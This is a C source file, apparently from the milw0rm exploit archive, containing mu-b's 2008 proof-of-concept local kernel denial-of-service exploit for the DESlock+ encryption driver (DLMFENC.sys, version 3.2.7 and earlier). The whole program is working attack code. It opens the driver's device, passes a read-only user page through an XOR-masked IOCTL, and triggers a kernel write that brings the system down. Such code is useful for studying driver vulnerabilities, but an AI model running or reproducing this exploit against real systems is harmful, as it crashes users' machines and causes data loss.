101 lines
No EOL
2.4 KiB
C
101 lines
No EOL
2.4 KiB
C
/* deslock-probe-read.c
|
|
*
|
|
* Copyright (c) 2008 by <mu-b@digit-labs.org>
|
|
*
|
|
* DESlock+ <= 3.2.7 local kernel DoS POC
|
|
* by mu-b - Sat 19 Jul 2008
|
|
*
|
|
* - Tested on: DLMFENC.sys 1.0.0.28
|
|
*
|
|
* call to ProbeForRead with a user-definable address that
|
|
* is eventually overwritten (should have been ProbeForWrite).
|
|
*
|
|
* http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
|
|
* - I wonder what that says about CESG CCTM?
|
|
*
|
|
* - Private Source Code -DO NOT DISTRIBUTE -
|
|
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <windows.h>
|
|
|
|
#define DLMFENC_IOCTL 0x0FA4204C
|
|
#define DLMFENC_FLAG 0xC001D00D
|
|
|
|
#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))
|
|
|
|
struct ioctl_req {
|
|
int flag;
|
|
int req_num;
|
|
void *arg[ARG_SIZE(0x20)];
|
|
};
|
|
|
|
static void
|
|
xor_mask_req (struct ioctl_req *req)
|
|
{
|
|
DWORD i, pid;
|
|
PCHAR ptr;
|
|
|
|
pid = GetCurrentProcessId ();
|
|
for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
|
|
*ptr ^= pid;
|
|
}
|
|
|
|
int
|
|
main (int argc, char **argv)
|
|
{
|
|
struct ioctl_req req;
|
|
HANDLE hFile, hThread;
|
|
DWORD rlen, dThread, nTotal, nFail;
|
|
LPVOID zpage;
|
|
BOOL result;
|
|
|
|
printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
|
|
"by: <mu-b@digit-labs.org>\n"
|
|
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
|
|
|
|
fflush (stdout);
|
|
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
|
|
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
|
|
OPEN_EXISTING, 0, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
{
|
|
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
zpage = VirtualAlloc (NULL, 0x1000,
|
|
MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
|
|
if (zpage == NULL)
|
|
{
|
|
fprintf (stderr, "* VirtualAlloc failed\n");
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
printf ("* allocated page: 0x%08X [%d-bytes]\n",
|
|
zpage, 0x1000);
|
|
|
|
req.flag = DLMFENC_FLAG;
|
|
req.req_num = 18;
|
|
req.arg[0] = (void *) zpage;
|
|
sleep (2000);
|
|
|
|
xor_mask_req (&req);
|
|
result = DeviceIoControl (hFile, DLMFENC_IOCTL,
|
|
&req, sizeof req, &req, sizeof req, &rlen, 0);
|
|
if (!result)
|
|
{
|
|
fprintf (stderr, "* DeviceIoControl failed\n");
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
printf ("* hmmm, you didn't STOP the box?!?!\n");
|
|
|
|
CloseHandle (hFile);
|
|
|
|
return (EXIT_SUCCESS);
|
|
}
|
|
|
|
// milw0rm.com [2008-09-20]
|